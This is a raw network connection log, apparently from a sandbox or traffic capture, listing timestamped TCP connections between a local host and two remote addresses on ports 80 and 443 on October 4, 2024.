Oct 4, 2024 11:23:05.912816048 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.913907051 CEST	49747	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.913947105 CEST	443	49747	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.914016008 CEST	49747	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.914344072 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.919681072 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.105456114 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.106551886 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.106591940 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.106654882 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.106955051 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.111907005 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.297642946 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.298659086 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.298722982 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.298778057 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.300890923 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.307157993 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.498503923 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.499876022 CEST	49752	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.499928951 CEST	443	49752	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.500029087 CEST	49752	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.500510931 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.506077051 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.692747116 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.694046974 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.694092989 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.694169998 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.694576979 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.703838110 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.897041082 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.897919893 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.897962093 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:06.898124933 CEST	49754	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:06.898148060 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:06.898165941 CEST	443	49754	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:06.898278952 CEST	49754	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:06.942423105 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:07.911477089 CEST	49754	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:07.911521912 CEST	443	49754	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:07.911648035 CEST	49754	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:07.911798954 CEST	49754	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:07.913561106 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:07.914464951 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:08.223702908 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:08.267647982 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:08.267671108 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:08.267703056 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:08.267743111 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:08.267785072 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:08.267957926 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:08.272696018 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:08.927335978 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:08.928718090 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:08.928775072 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:08.928858995 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:08.929250956 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:08.935695887 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.127707958 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.128768921 CEST	49759	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.128823996 CEST	443	49759	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.128896952 CEST	49759	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.129229069 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.134162903 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.324053049 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.324662924 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.329812050 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.523525000 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.524805069 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.524847031 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.524930954 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.525285006 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.530940056 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.720657110 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.721888065 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.721930981 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.721997023 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.722387075 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.727193117 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.916055918 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.917071104 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.917114019 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:09.917260885 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.917314053 CEST	49762	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:09.917361975 CEST	443	49762	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:09.917418957 CEST	49762	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:09.917510033 CEST	49762	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:09.917824030 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:09.922749996 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:10.111258984 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:10.131515980 CEST	49763	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.131576061 CEST	443	49763	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:10.131685972 CEST	49763	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.131743908 CEST	49763	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:10.131808043 CEST	443	49763	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:10.131876945 CEST	49763	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:10.131912947 CEST	49763	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:10.132235050 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.137293100 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:10.325342894 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:10.379951954 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.460057974 CEST	80	49756	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:10.460342884 CEST	49756	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.461718082 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.461757898 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:10.461810112 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.462685108 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.467699051 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:10.467782021 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.467854023 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:10.472646952 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.017556906 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.018770933 CEST	49766	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.018819094 CEST	443	49766	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.018867970 CEST	49766	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.019048929 CEST	49766	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:11.019100904 CEST	443	49766	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:11.019165993 CEST	49766	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:11.019253016 CEST	49766	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:11.019588947 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.025367975 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.296077967 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.296716928 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.306698084 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.492439985 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.493793964 CEST	49767	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.493832111 CEST	443	49767	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.493907928 CEST	49767	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.494278908 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.499123096 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.703136921 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.704672098 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.704718113 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.704818964 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.705151081 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.710165024 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.916591883 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.918041945 CEST	49769	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.918088913 CEST	443	49769	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:11.918169975 CEST	49769	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.918637037 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:11.923559904 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.113653898 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.114523888 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.119456053 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.305500984 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.306934118 CEST	49770	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.306981087 CEST	443	49770	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.307054043 CEST	49770	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.307420015 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.312374115 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.500413895 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.501831055 CEST	49771	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.501882076 CEST	443	49771	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.501967907 CEST	49771	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.502352953 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.510314941 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.694152117 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.694849968 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.699683905 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.884872913 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.886022091 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.886054039 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:12.886110067 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.886234045 CEST	49772	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:12.886274099 CEST	443	49772	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:12.886343002 CEST	49772	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:12.886394024 CEST	49772	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:12.886737108 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:12.891644001 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.082472086 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.084080935 CEST	49773	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.084124088 CEST	443	49773	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.084239006 CEST	49773	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.084570885 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.091129065 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.276076078 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.277502060 CEST	49774	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.277545929 CEST	443	49774	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.277626991 CEST	49774	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.277987003 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.282893896 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.470276117 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.471692085 CEST	49775	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.471741915 CEST	443	49775	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.471824884 CEST	49775	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.472215891 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.477078915 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.663494110 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.664702892 CEST	49776	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.664757967 CEST	443	49776	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.664844990 CEST	49776	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.665189981 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.670087099 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.857644081 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.859323025 CEST	49777	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.859369993 CEST	443	49777	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:13.859534025 CEST	49777	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.859808922 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:13.864906073 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.049979925 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.051592112 CEST	49778	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.051631927 CEST	443	49778	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.051788092 CEST	49778	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.052110910 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.059712887 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.245028973 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.246388912 CEST	49779	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.246442080 CEST	443	49779	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.246516943 CEST	49779	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.246874094 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.253897905 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.439681053 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.441189051 CEST	49780	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.441241026 CEST	443	49780	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.441322088 CEST	49780	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.441679001 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.446711063 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.631288052 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.676887035 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.760363102 CEST	80	49765	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.760620117 CEST	49765	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.787234068 CEST	49781	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.792392015 CEST	80	49781	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:14.792531967 CEST	49781	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.792690039 CEST	49781	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:14.797504902 CEST	80	49781	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.429342031 CEST	80	49781	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.430774927 CEST	49782	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.430818081 CEST	443	49782	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.430939913 CEST	49782	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.431256056 CEST	49781	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.436139107 CEST	80	49781	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.624874115 CEST	80	49781	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.626208067 CEST	49783	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.626310110 CEST	443	49783	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.626432896 CEST	49783	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.626769066 CEST	49781	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.633291006 CEST	80	49781	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.817162037 CEST	80	49781	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.864392996 CEST	49781	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.944236040 CEST	80	49781	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.944533110 CEST	49781	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.945842981 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.950891972 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:15.950988054 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.951092005 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:15.955936909 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:16.613882065 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:16.615246058 CEST	49785	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:16.615304947 CEST	443	49785	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:16.615413904 CEST	49785	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:16.615766048 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:16.620590925 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:16.819170952 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:16.820542097 CEST	49786	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:16.820605040 CEST	443	49786	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:16.820707083 CEST	49786	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:16.821149111 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:16.827141047 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.014106989 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.015242100 CEST	49787	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.015296936 CEST	443	49787	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.015361071 CEST	49787	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.015511990 CEST	49787	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:17.015563011 CEST	443	49787	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:17.015698910 CEST	49787	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:17.015760899 CEST	49787	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:17.016078949 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.021070957 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.206984997 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.208837032 CEST	49788	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.208887100 CEST	443	49788	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.208977938 CEST	49788	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.209351063 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.214323044 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.400221109 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.401588917 CEST	49789	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.401649952 CEST	443	49789	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.401722908 CEST	49789	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.402091980 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.407205105 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.596251011 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.597708941 CEST	49790	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.597760916 CEST	443	49790	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.597841978 CEST	49790	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.598246098 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.603193998 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.788676977 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.790358067 CEST	49791	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.790421963 CEST	443	49791	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.790515900 CEST	49791	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.791410923 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.796515942 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.983159065 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.984401941 CEST	49792	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.984462023 CEST	443	49792	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:17.984538078 CEST	49792	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.984863997 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:17.990003109 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.192972898 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.194781065 CEST	49793	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.194823980 CEST	443	49793	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.194905996 CEST	49793	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.195336103 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.505068064 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.525197983 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.525279999 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.526046991 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.526077032 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.710093975 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.711154938 CEST	49794	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.711214066 CEST	443	49794	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.711277962 CEST	49794	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.711436987 CEST	49794	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:18.711484909 CEST	443	49794	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:18.711918116 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.712044954 CEST	49794	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:18.712044954 CEST	49794	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:18.716747999 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.901164055 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.907042027 CEST	49795	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.907088995 CEST	443	49795	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.907182932 CEST	49795	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.910900116 CEST	49795	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.910912991 CEST	443	49795	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.915366888 CEST	49795	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.942531109 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.955411911 CEST	443	49795	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:18.974788904 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:18.979872942 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.174268961 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.176202059 CEST	49796	443	192.168.2.4	188.114.96.3
